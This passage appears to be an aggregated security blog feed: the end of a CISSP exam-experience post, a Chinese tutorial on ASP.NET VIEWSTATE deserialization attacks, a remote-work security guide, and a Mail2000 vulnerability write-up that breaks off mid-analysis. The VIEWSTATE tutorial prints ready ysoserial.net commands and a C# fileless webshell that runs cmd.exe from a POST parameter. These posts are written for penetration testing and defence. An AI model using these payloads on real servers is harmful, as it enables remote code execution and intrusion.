  • I start to do a million practice questions from anything I could find books, practice sites, old materials. I guestimate I did over six thousand practice questions. I can remember off hand doing 1300 in a 2 day hiatus 🧾At this point I’m at about 5 hrs a day on weekdays and at least 12+ hrs on weekends #overdrive
  • Sari Green’s CISSP (9/10) course. Decided to change the pace a little bit. This was awesome very helpful with the most important thing being she delivers the material with a strong risk management undertone. Another thing was how she aligned the entire course based on the sections in the CISSP domain outline. Gets a ding since the material is about 5 years old so it misses new information about some of the topics. Like IOT SCADA Embedded Device. Recommended.
  • Mike Chapple LinkedIn Learning CISSP (9/10) course. Very good! The course is taught in a way that isn’t typical of what you’d expect in a CISSP course. The way he provides practical realizations of the topics to seal it in is incredible. You can remember PGP until the cows come home get hit with a question and totally only know that PGP stands for Pretty Good Privacy 😂 memorization won’t help you in the exam. He shows you in real-life implementations of the exam topics. Wonderful course.
  • After I finished all those I started from domain one and did the following for all 8 domains
    • Read Sybex chapter summary
    • Read 11th hr chapter summary
    • Watch Sari domain summary
    • Do Mike Chapple practice questions for associate domain
  • We’re at about 2 weeks out now time wise. I started to read all the NIST documents related to the major processes in the various domains. These actually were well written and I learned to love them. Every night I would open them and try to relate everything I was doing back to risk management. I’m still doing practice problems but maybe like 10 a day at this point. Most of my time is spent trying to understand the SDLC in depth, the IR process in depth, the BCP/DR process in depth. You not only need to understand the order of the processes but all the details & outputs that come from each.
  • (Maybe one month ago 2 member of the squad from Discord discovered we all have the same exam date) The day before exam I get hit up to join a conference with both of them to do so last day studying. Without this I wouldn’t have passed. We spend 10 hours going over all the major processes, ironing out our understandings and tying relate everything back to the RMF. It’s 10 pm night before exam and boy I’m thinking I probably shouldn’t have did all of that studying today in fear of cramming and losing it. I’m also pissed at myself for drinking a redbull 30 minutes earlier. Because I should be sleeping but a hr has gone by and I’m still wide awoke – I hope I get to sleep soon in fear of not getting good rest and failing.

Part-3:  You Didn’t All This Work For Nothing, Did You?

Time: Mid-March 2020

When I scheduled my exam I purposely chose a Saturday morning. I did not want to deal with the variables that a “normal” morning commute might include – so I was going to be lazy and Uber to the testing center. Now being so paranoid I just drove there and paid the crazy fee to park in the garage. I listened to Kelly’s “Why You Will Pass The CISSP” video and Larry Greenblat “CISSP Exam Tips” videos before leaving the car. Crazy only seeing about 4 people when on a regular day – a low amount normally would be around 50-100 and tons of traffic at any given time – people jogging, women pushing strollers, people and their dogs, as well as tons of business folk – it’s directly across the street from a train station.

At this point, the sports reference is to boxing. Here’s my thoughts walking to from the garage to exam center – “You did not come this far to lose did you? You’ve been wrong countless amounts of time on Discord and understood why. You worked your buns off! You learned the material, the mindset, you’ve watched hundreds of videos, did thousands of questions, read tons of pages. You’ve got some of the most distinguished practical offensive certs in existence, are you going to let a multiple choice management exam that most people fail because they don’t slow down to read defeat you? You’re going to knock this exam on it’s face. You already visioned this day many times before.  This is going to turn out just like all the other times – you put in the work and the results are going to prove such is true at the end. If you synthesized the information the way you think you do you’re going to do amazing” This is how I’m I’m trying to make myself feel

In reality I’m scared as shit about this exam 😂 it’s not that I don’t the material – its I don’t know what I don’t know. Most people on Reddit say when they see the first 25 questions they sometimes wonder if the proctor configured them for the wrong exam 😌 Here’s what calmed me down sorta grounded me. I had small talk with a guy as we’re walking to bathroom and we ask one another what we’re up against this morning. Turns out him along with 90% of the other people there (16 total) were taking their medical exam. It was 7 hrs! I literally said to myself “Shitttt boy you got it good!” 🤣 It’s all relative 💭 My number gets called and I get seated for the exam. They had disposable covers for the noise cancelling headphones 🤞🏽

I had this plan to write all my brain dump stuff on the pad they gave me before starting. You get 5 minutes to read and sign NDA. One of the things I wanted to write down was the forensic process. I started to list them out and got stuck after the “Collection” phase – It’s scares the living fucking daylight out of me. I said “F-This” and clicked “Start Exam” true story 🤦🏽‍♂️

Part-4: Put Up Or Shut Up!

The questions didn’t seem like they were designed to trick me. I was comfortable with the terms in most questions. The difficulty is in the subjective and vague nature of all the questions. Unlike the practice question which test if you know terms and definitions, the exam places you in scenarios where you play from the perspective of a security manager and have to apply sound risk management principals – remembering your job is to reduce risk, provide information for senior management and apply the appropriate level of protection to your assets depends on their value and classification. Most of the questions are BEST, LEAST, WORST with all the possibly choices either being all right or all wrong. On a bunch of occasions I was able to eliminate 2 off the jump. The remaining 2 choices are what’s going to keep you up at night. I got a crazy subnetting question that I attempted to start breaking down on my pad to binary and do the power of 2’s after 20 seconds I said “F – This” and clicked “Next“. There were some gimmie’s sprinkled in there as well. Don’t forget “inch deep, mile wide” it’s way too much material for every single question to be a boulder. I made sure to slow down scrutinize every word in the questions, re-read all questions and answers and reading back the answer I chose. If a question was “Blah blah blah .. Which of following feature of Digital Signatures would BEST provide you with a solution to prevent unauthorized tampering?” … And the answer is integrity … Before moving on I’d say “Integrity is the feature of Digital Signatures that best provide the solution to the problem” … Here’s what I saw most followed by question to illustrate the context for each one:

  • SDLC Related – What SDLC is Change Management most likely to be apart of?
  • BCP Related – A global pandemic of a deadly virus is on the brink. How does the BIA help you determine your risk?
  • IR Related – The sky is falling and something just hit you in the head. What process of IR are you most likely in?
  • Bunch of stuff on Access Controls – How can i best protect this if that?
  • One question of Encryption – Understand PPP L2TP PPTP L2F their succession which ones can use IPSEC, EAP
  • Bunch of Risk Management – Something just happened you need to do something. With these constraints. What’s best?
  • Asset and Data Classification/Security – Why do we classify anything?
  • Web Application Attack Recognition – Seeing and recognizing attacks described through a scenario or graphical depiction
  • US and Global Privacy Frameworks – GDPR – ECPA – OECD
  • Roles and Responsibilities – Who’s MOST important for security? CISO CEO ISM ISSO?
  • Communication & Network Security – What layer is LLC most likely apart of ?

I was nervous as hell clicking “Next” on the 100th question. I knew if exam ended I either did really well or really horribly also if it continued I knew I was exactly on the borderline and could still pass up to 150 but each question would have to be correct. If that was the case I wouldn’t have been pissed but I didn’t want that to occur to even have to be in that situation. The exam stops. I’m like “HOLY SHIT”. I get the TA’s attention, she signs me out and I go to the reception area to get the print-out. The receptionist was at the bathroom 😫 had to wait 5 minutes for her to come back. I was pacing so much the entire time I probably could have burned a hole in their damn carpet. The lady takes my ID and prints it out the result, peaks it, folds it and gives it to me looking me dead in the eye with a straight face. But I did notice it was one piece of paper and people said if you get one paper you pass – if you get more it’s because you failed and that’s the explanation of the domains you came up short in. I opened it and saw I had PASSED 😍 I threw the wildest air punch in history, luckily didn’t hurt myself, jump up and down a little (nobody else in reception area at this point, say “LET’S GO” as loud as I can (since the students are literally just around the corner) and notice the receptionist now smiling so said “Congratulations sorry I had to mess with you” 😂 Here’ it was guys that moment of passing that I visioned! Slaying the dragon. What a wonderful feeling 💘

Part-5: Thoughts?

If you’ve made it this far s/o to you! I’ll never write a TL/DR ever ✌🏽 The context matters … The journey matters.

My biggest advice would be to make the NIST RMF, SDLC and all the related documents your friend. These are going to help you substantially more than doing a zillion practice questions or reading the huge books. Also it sheds light on why so many smart technical folk fail this exam the first time. The day before the exam me @Beedo @Reepdeep MAJOR S/O TO THOSE GUYS – WHO ALSO PASSED THE SAME DAY studied from 1 pm to 10 pm going through all the processes from each domain, in our own words, understanding the steps to the process but understand how every single thing is tied back to risk management.
NOTE: We think the document we created could help everyone out there out as a definitive source for passing the exam. Obviously folks need to get back to the real life and people they’ve neglected since beginning the journey but it’s something we all feel strongly about and want to provide to the community hopefully soon 😎

Part-6: Things I Shared on Discord That I Think Should Be Included Here?

These are just excerpts but I figured they maybe valuable since you forget basically everything related to the exam afterwards.
Bear with me as the grammar may not be perfect it’s Discord so I’m not necessarily caring if I make a mistake to correct it. It’s conversational texting-like language. Most of it being typed from my phone.

In regards to the difference in seemingly all the practice material vs real exam:

“I see why all the practice material miss the mark. It’s because you truly need a intelligent person to be able to spend the time to make those questions and that person cost too much to write free questions on the internet for us .. Those aren’t ones you come up with based on a definition .. You understand someone thought deeply about this, so much so they knew the answer I’d immediately go for (and it’s wrong) is included as say answer A and make the right answer further down the list like D. You need to be very careful. Also saw 2 similar looking answers where you jumped immediately to the answer and didn’t thoroughly read it would have noticed the 2nd one further down was more right”

In regards to our day before exam study conference: 

it was impromptu as hell I was just going each of my Boson question explanation. It lasted lot longer than expected 😵🥴 went from like 1-10 yesterday on conference, went over each process understanding it and connecting the SDLC steps BCP steps back to RMF I’m sure they’ll agree understanding how everything relates back to RMF is the way to pass. Not technical … Not all the questions … Since they’re way to technical (use em to identify and reinforce you’re weak areas) we were already studied up at that point … Sybex/Boson/AIO/All the sources questions way to hard if we talking scope for exam. You’ll be placed in a bunch of situations where you’re somebody in security what’s BEST LEAST solution for this scenario.

On depth of question and context. Keep in mind we already knew the blocks lengths, key size ect:

For context it’s like understanding AES is a strong symmetric algorithm, DES is a weak one that shouldn’t be used. But not that 3DES EEE has a xyz length bit size and it goes through xy rounds – the latter is unnecessary .. If you know it so be it but that’s how I would scope everything. High level and how does is connect back to RMF .. I would read the RMF and SDLC NIST doc every night

On what I think is useful studying:

I’m saying you’ve read Sybex or over big book feel comfortable been browsing reddit know the sources the videos and all the questions we do here then can go through the 11th hr and understand everything then I would focus on the processes and how it relates to RM SDLC, IR, BCP knowing how those relate was my entire exam. I had a bunch of SDLC stuff lot of OWASP what vulnerability is this? Few question from domain 4 IPSec and understanding the protocol or layer.

Overall exam tips and thoughts:

“The exam was tough but I didn’t feel any point they were trying to trick or deceive me, every question was able to eliminate two answers of back. Some of the answers are similar then you figure out differences which was slightly hard in some cases some not. Felt familiar with all the terms answers. Question were clear. I didn’t even notice the experimental which I was on look out for. I think when studying we equate inch deep mile wide to difficult. In reality it’s just understanding how the domains work together. Remember every question CANNOT be a boulder. There were some gimmes… what is encryption… what is integrity for digital signatures type stuff. My best advice in hindsight with the above is DO NOT WASTE YOUR TIME doing all these questions, Boson, Ccure, Luke, Sybex. All of them! Only if you’re weak. If you can read 11th hr and notice everything nothings a shock stop. Understand how everything is bound by risk management. Btw I didn’t use the whole mgr mindset I just tried pick best 2 remaining options. There were plenty of answers that were “doing something” I threw those out automatically”

On how I would study differently:

“don’t worry and spend some time in the nist document’s 800-64 800-37 they all link to each other. So your thinking going through say SDLC is what am I doing in this step and how does it relate back to the RMF everything relates back to it. For example that in phase one of  the SDLC you have your requirements and stuff but you’re also initially understanding the systems that links back to step one in RMF which is Categorize, so think does this system store transmit or processes pii, what’s the risk. Or step two Development in SDLC, you know you starting design architecture development and testing, that relates to steps 2&3 (you also do risk assessment here) in RMF you’re identified the need for the system in initial requirements, so now in development we select the controls of the system and assess them that’s in SDLC phase two but you’re always grounded by RMF. See how that relates? I think that understanding this alone is how I passed”

Are questions from sybex syllabus or out of the box?
Wayy to technical as well as all the practice questions

Some people fail who had boson?
Boson shouldn’t be used to judge readiness just identity weak areas. You could get 20% on all bosons and pass since it’s mostly thinking not technical

How’s the difficulty level?
NOT DIFFICULT – DON’T BELIEVE THE HYPE – ALL OF US COULD PASS THIS EXAM

Do we need other source of study hindsight?
Read the NIST documents on all the processes and reclaim some of your time back

You are say every in this group can pass, can you tell your experience and main domain?
Mainly offsec and I do appsec at work for like 4 years. I’m an engineer so i have the fix it mindset by default. You don’t need be expert in anything. Just think of everything in risk mgmt is enough to pass

How long you have been preparing?
Studying since 1/28

What was difficult domain for you?
Domain 2 smh – Focus on 1,3,7 thought and definitely 8.. Obviously you need to be passing in all domains but since those weighted more it more advisable

Did you face any language mixing puzzle questions means they use different vocabulary 
There were NO gimmicks every question i knew exactly what they wanted.

Do you think feedback from people different industry get it more difficult than security?
It’s your understanding and mindset. Kelly and Larry tell you the mindset. I automatically threw any answer out that was “disconnect from network, make a firewall change”.

Did you feel it’s purely management?
No. Because being in mgmt although you’re not a doer you need to have a solid understanding of the underlying area no matter what it is.”

S/O to my Discord guys ALL OF YOU 💗

I’ve included a section below on the links that were most valuable to me. Good luck & NEVER give up or give in!

Part-7: Links

 

 

 

 

 

 

 

 

The post Slayed CISSP appeared first on Certification Chronicles.

玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門

10 March 2020 at 16:00

前言

這篇文章呼應我在研討會 DEVCORE CONFERENCE 2019 分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。

內文

最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。

更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:

對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。

最基本、常見的方式是直接使用工具 ysoserial.net 的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。

例如:

ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c "echo 123 > c:\pwn.txt"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。

But ..

在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:

  • 封鎖所有主動對外連線
  • 禁止查詢外部 DNS
  • 網頁目錄無法寫入
  • 網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案

所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 System.Web.HttpContext.Current 就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!

我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
              -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319 之中。

至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 ysoserial.net,就可以在範例檔案裡找到它,或是可以先直接看這裡:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

其中 Server.ClearError()Response.End() 都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。

到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣:

不過有時也會出現這種情境:

不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q

但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!

詳細細節可以閱讀這篇文章:Re-Animating ActivitySurrogateSelector By Nick Landers

總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c "ignore"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!

不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。

遠距工作的資安注意事項

3 March 2020 at 16:00

近期因新型冠狀病毒(COVID-19, 武漢肺炎)影響,不少企業開放同仁遠距工作 (Telework)、在家上班 (Work from home, WFH)。在疫情加速時,如果沒有準備周全就貿然全面開放,恐怕會遭遇尚未考慮到的資安議題。這篇文章提供一個簡單的指引,到底遠端在家上班有哪些注意事項?我們會從公司管理、使用者兩個面向來討論。

如果你只想看重點,請跳到最後一段 TL;DR。

攻擊手段

我們先來聊聊攻擊的手段。試想以下幾個攻擊情境,這些情境都曾被我們利用在紅隊演練的過程中,同樣也可能是企業的盲點。

  1. 情境一、VPN 撞庫攻擊:同仁 A 使用 VPN 連線企業內部網路,但 VPN 帳號使用的是自己慣用的帳號密碼,並且將這組帳號密碼重複使用在外其他非公司的服務上(如 Facebook、Adobe),而這組密碼在幾次外洩事件中早已外洩。攻擊團隊透過鎖定同仁 A,使用這組密碼登入企業內部。而很遺憾的 VPN 在企業內部網路並沒有嚴謹的隔離,因此在內部網路的直接找到內網員工 Portal,取得各種機敏資料。
  2. 情境二、VPN 漏洞:VPN 漏洞已經成為攻擊者的主要攻略目標,公司 B 使用的 VPN 伺服器含有漏洞,攻擊團隊透過漏洞取得 VPN 伺服器的控制權後,從管理後台配置客戶端 logon script,在同仁登入時執行惡意程式,獲得其電腦控制權,並取得公司機密文件。可以參考之前 Orange & Meh 的研究: https://www.youtube.com/watch?v=v7JUMb70ON4
  3. 情境三、中間人攻擊:同仁 C 在家透過 PPTP VPN 工作。不幸的是 C 小孩的電腦中安裝了含有惡意程式的盜版軟體。攻擊者透該電腦腦進行內網中間人攻擊 (MITM),劫持 C 的流量並破解取得 VPN 帳號密碼,成功進入企業內網。

以上只是幾個比較常見的情境,攻擊團隊的面向非常廣,而企業的防禦卻不容易做到滴水不漏。這也是為什麼我們要撰寫這篇文章,希望能幫助一些企業在遠距工作的時期也能達到基本的安全。

風險有什麼

風險指的是發生某個事件對於該主體可能造成的危害。透過前面介紹的攻擊手段要達成危害,對攻擊者來說並不困難,接著我們盤點出一些在企業的資安規範下,因應遠距工作可能大幅增加攻擊者達成機率的因子:

  • 環境複雜:公司無法管控家中、遠距的工作環境,這些環境也比較複雜危險。一些公司內部的管理監控機制都難以施展,也較難要求同仁在家中私人設備安裝監控機制。
  • 公司資料外洩或不當使用:若公司的資料遭到外洩或不當使用,將會有嚴重的損失。
  • 設備遺失、遭竊:不管是筆電或者是手機等裝置,遺失或者遭竊時,都會有資料外洩的風險。
  • 授權或存取控制不易實作:在短時間內提供大量員工的外部存取,勢必會在「可用性」和「安全性」間做出取捨。

若公司允許同仁使用私人的設備連上公司內部 VPN,這樣的議題就等同 BYOD (Bring Your Own Device),這些安全性的顧慮有不少文章可以參考。例如 NIST SP800-46 Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-46r2.pdf

公司面向

接下來我們來看看公司方面在遠距工作上面有哪些資安上面的作為。

工作流程及原則規劃

  • 工作流程調整:遠距工作時,每個流程該如何作對應的調整,例如如何在不同地點協同作業、彙整工作資料、確認工作成果及品質等。
  • 資料盤點:哪些資料放在雲端、伺服器、個人電腦,當遠距工作時哪些資料將無法被取用,或該將資料轉移到哪邊。
  • 會議流程:會議時視訊設備、軟體選擇及測試,並注意會議軟體通訊是否有加密。狀況如會議時間延長、同時發言、遠距品質影響等。
  • 事件處理團隊及流程:因遠距工作時發生的資安事件,該由誰負責處理、如何處理、盤點損失。
  • 僅知、最小權限原則:僅知原則 (Need-to-know Basis) 以及最小權限原則 (Principle of Least Privilege, PoLP),僅給予每個同仁最小限度需要的資料以及權限,避免額外的安全問題。

網路管理

  • VPN 帳號申請及盤點:哪些同仁需要使用 VPN,屬於哪些群組,每個群組的權限及連線範圍皆不同。
  • VPN 帳號權限範圍及內網分區:VPN 連線進來後,不應存取整個公司內網所有主機,因為 VPN 視同外部連線,風險等級應該更高,更應該做連線的分區管控。
  • 監控確認 VPN 流量及行為:透過內部網路的網路流量監控機制,確認 VPN 使用有無異常行為。
  • 只允許白名單設備取得 IP 位址:已申請的設備才能取得內網 IP 位址,避免可疑設備出現在內部網路。
  • 開啟帳號多因子認證:將雲端服務、VPN、內部網路服務開啟多因子認證。
  • 確認 VPN 伺服器是否為新版:在我們過去的研究發現 VPN 伺服器也會是攻擊的對象,因此密切注意是否有更新或者修補程式。

其中值得特別點出的是 VPN 的設定與開放。近期聽聞到不少公司的管理階層談論到,因應疫情原本不開放 VPN 權限的同仁現在全開放了。而問到 VPN 連線進公司內部網路之後的監控跟阻隔為何,卻較少有企業具備這樣的規劃。內部網路是企業的一大資安戰場,開放 VPN 的同時,必定要思考資安對應的措施。

使用者面向

公司準備好了,接下來就是使用者的安全性了。除了公司提供的 VPN 線路、架構、機制之外,使用者本身的資安意識、規範、安全性設定也一樣重要。

保密

  • 專機專用:用來存取公司網路或資料的電腦,應嚴格遵守此原則,禁止將該設備作為非公務用途。也應避免非公司人士使用或操作該裝置。

設備相關

  • 開啟裝置協尋、鎖定、清除功能:設備若可攜帶移動,設備的遺失對應方案就必須要考慮完整。例如如何尋找裝置、如何鎖定裝置、如何遠端清除已遺失的裝置避免資料外洩。現在主流作業系統多半都會提供這些機制。
  • 設備登入密碼:裝置登入時必須設定密碼,避免外人直接操作。
  • 設備全機加密:設備若遺失遭到分析,全機加密可以降低資料被破解遺失的風險。
  • (選擇性)MDM (Mobile Device Management):若公司有導入 MDM,可以協助以上的管理。

帳號密碼安全

  • 使用密碼管理工具並設定「強密碼」:可以考慮使用密碼管理工具並將密碼設為全隨機產生包含英文、數字、符號的密碼串。
  • 不同系統帳號使用不同密碼:這個在很多次演講中都有提到,建議每個系統皆使用不同密碼,防止撞庫攻擊。
  • 帳號開啟 2FA / MFA:若系統具備 2FA / MFA 機制,務必開啟,為帳號多一層保護。

網路使用

  • 避免使用公用 Wi-Fi 連接公司網路:公眾公用網路是相當危險的,恐被側錄或竄改。若必要時可使用手機熱點或透過 VPN 連接網際網路。
  • 禁止使用公用電腦登入公司系統:外面的公用電腦難確保沒有後門、Keylogger 之類的惡意程式,一定要禁止使用公用電腦來登入任何系統。
  • 確認連線裝置是否可取得內網 IP 位址:確認內網 IP 位址是否無誤,是否能夠正常存取公司內部系統。
  • 確認連線的對外 IP 位址:確認連線至網際網路的 IP 位址是否為預期,尤其是資安服務公司,對客戶連線的 IP 位址若有錯誤,可能釀成非常嚴重的損害。
  • (選擇性)安裝個人電腦防火牆:個人防火牆可以基本監控有無可疑程式想對外連線。
  • (選擇性)採用 E2EE 通訊工具:目前企業都會使用雲端通訊軟體,通訊軟體建議採用有 E2EE (End-to-End Encryption),如此可以確保公司內的機敏通訊內容只有內部人員才能解密,就連平台商也無法存取。
  • (選擇性)工作時關閉不必要的連線(如藍牙等):部分資安專家表示,建議在工作時將電腦的非必要連線管道全數關閉,如藍牙等,在外部公眾環境或許有心人士可以透過藍牙 exploit 攻擊個人裝置。

資料管理

  • 只留存在公司設備:公司的機敏資料、文件等,必須只留存在公司設備中,避免資料外洩以及管理問題。
  • 稽核記錄:記錄機敏資料的存放、修改、擁有人等資訊。
  • 重要文件加密:重要的文件必須加密,且密碼不得存放在同一目錄。
  • 信件附件加密,密碼透過另一管道傳遞:郵件的附件除了要加密之外,密碼必須使用另一管道傳遞。例如當面告知、事前約定、透過 E2EE 加密通道、或者是透過非網路方式給予。
  • 備份資料:機敏資料一定要備份,可以遵循「3-2-1 Backup Strategy」:三份備份、兩種媒體、一個放置異地。

實體安全

  • 離開電腦時立刻鎖定螢幕:離開電腦的習慣是馬上進入螢幕保護程式並且鎖定,不少朋友是放著讓他等他自己進入鎖定,但這個時間差有心人士已經可以完成攻擊。
  • 禁止插入來路不明的隨身碟或裝置:社交工程的手法之一,就是讓同仁插入惡意的 USB,甚至有可能摧毀電腦(Bad USB, USB Killer)。
  • 注意外人偷窺螢幕或碰觸設備:若常在外工作處於公共空間,可以考慮採購螢幕防窺片。
  • 不放置電腦設備在車上:雖然台灣治安不錯,但也是不少筆電在車上遭竊,重要資產記得隨身攜帶,或者放置在隱密處。
  • 將工作區域關門或鎖上:若在自己的工作區域,為了爭取更多時間應變突發狀況,建議將工作區域的門關閉或者上鎖。

TL;DR 防疫同時也別忽視資訊安全!

網路的攻防就是一場戰爭,如果不從攻擊者的面向去思考防禦策略,不但無法有效的減緩攻擊,更可能在全世界疫情逐漸失控的當下,讓惡意人士透過這樣的時機攻擊遠距工作的企業。期望我們的經驗分享能夠給企業一些基本的指引,也希望天災人禍能夠儘速消彌。台灣加油!

  • 開放 VPN 服務前,注意帳號管理以及內網切割隔離,避免透過 VPN 存取內網任意主機。
  • 雲端、網路服務務必使用獨一無二長密碼,並開啟 MFA / 2FA 多因子認證。
  • 使用雲端服務時務必盤點存取權限,避免文件連結可被任意人存取。
  • 注意設備遺失、竊取、社交工程等實體安全議題。
  • 網路是危險的,請使用可信賴的網路,並在通訊、傳輸時採用加密方式進行。

Tridium Niagara Vulnerabilities

By: JW
5 January 2020 at 20:00
**If you’ve been contacted by me, it is because your device is on the internet and may be vulnerable to the vulnerabilities identified below. Please read through this and contact me if you have questions. Thanks** What is Tridium Niagara? Tridium is the developer of Niagara Framework. The Niagara Framework is a universal software infrastructure...

飛鴿傳書 - 紅隊演練中的數位擄鴿

22 December 2019 at 16:00

郵件系統作為大部分企業主要的資訊交換方式,在戰略上佔有了舉足輕重的地位。掌控了郵件伺服器不僅可以竊聽郵件的內容,甚至許多重要文件都可以在郵件系統中找到,使得駭客能夠更進一步的滲透。本篇文章將介紹研究組在 Openfind Mail2000 這套軟體上發現的記憶體漏洞,以及利用這個漏洞的攻擊手法。 此漏洞為 2018 年時發現,當時已通報 Openfind 並且迅速被修補,同時也已協助相關用戶進行更新。

Openfind Mail2000

Mail2000 是一套由台灣廠商 Openfind 所開發,簡單易用的電子郵件系統,被廣泛使用於台灣的公家機關、教育機構,如台北市教育局、中科院,以及臺灣科技大學都有使用 Mail2000 作為主要的郵件伺服器。常見的入口介面如下:

這次的漏洞,便是從這個 Web 介面,利用 Binary 的手法,攻陷整台伺服器!

伺服器架構

Mail2000 提供了 Web 介面供管理員以及使用者操作,也就是所謂的 Webmail,而此處 Openfind 使用了 CGI (Common Gateway Interface) 的技術來實作。大多數 Web 伺服器實現 CGI 的方式如圖: 首先由 httpd 接受客戶端的請求後,根據對應的 CGI 路徑,執行相對應的 CGI 檔案。而大多數的開發者會根據需求,將常見的共用 function 撰寫成 library,供 CGI 呼叫。 往底層來看,其實可以發現,雖然稱為 Web 伺服器,仍有許多元件是建構於 binary 之上的!例如 httpd,為了效能,多是由 C/C++ 所撰寫,而其它像是 library、擴充的 module、各頁面的 CGI 也常是如此。因此,binary 相關的漏洞,便是我們這次的攻擊目標!

漏洞

這個漏洞位於 Openfind 實作的 library libm2kc 中,此函式庫包含了各種 CGI 通用函式,如參數解析及檔案處理等等,而這個漏洞就發生在參數解析的部分。由於參數處理是很底層且基本的功能,因此影響的範圍非常的大,就連 Openfind 的其它產品也同樣受影響! 這個漏洞的觸發條件如下:

  • 攻擊者使用 multipart 形式發送 HTTP POST 請求
  • POST 傳送的資料內容超過 200 項

multipart 是 HTTP 協定中,用來處理多項檔案傳輸時的一種格式,舉例如下:

Content-Type: multipart/form-data; boundary=AaB03x 
 


--AaB03x

Content-Disposition: form-data; name="files"; filename="file1.txt"

Content-Type: text/plain



... contents of file1.txt ...

--AaB03x--

而在 libm2kc 中,使用了陣列來儲存參數:

g_stCGIEnv.param_cnt = 0;
while(p=next_param())
{
  g_stCGIEnv.param[param_cnt] = p;
  g_stCGIEnv.param_cnt++;
}

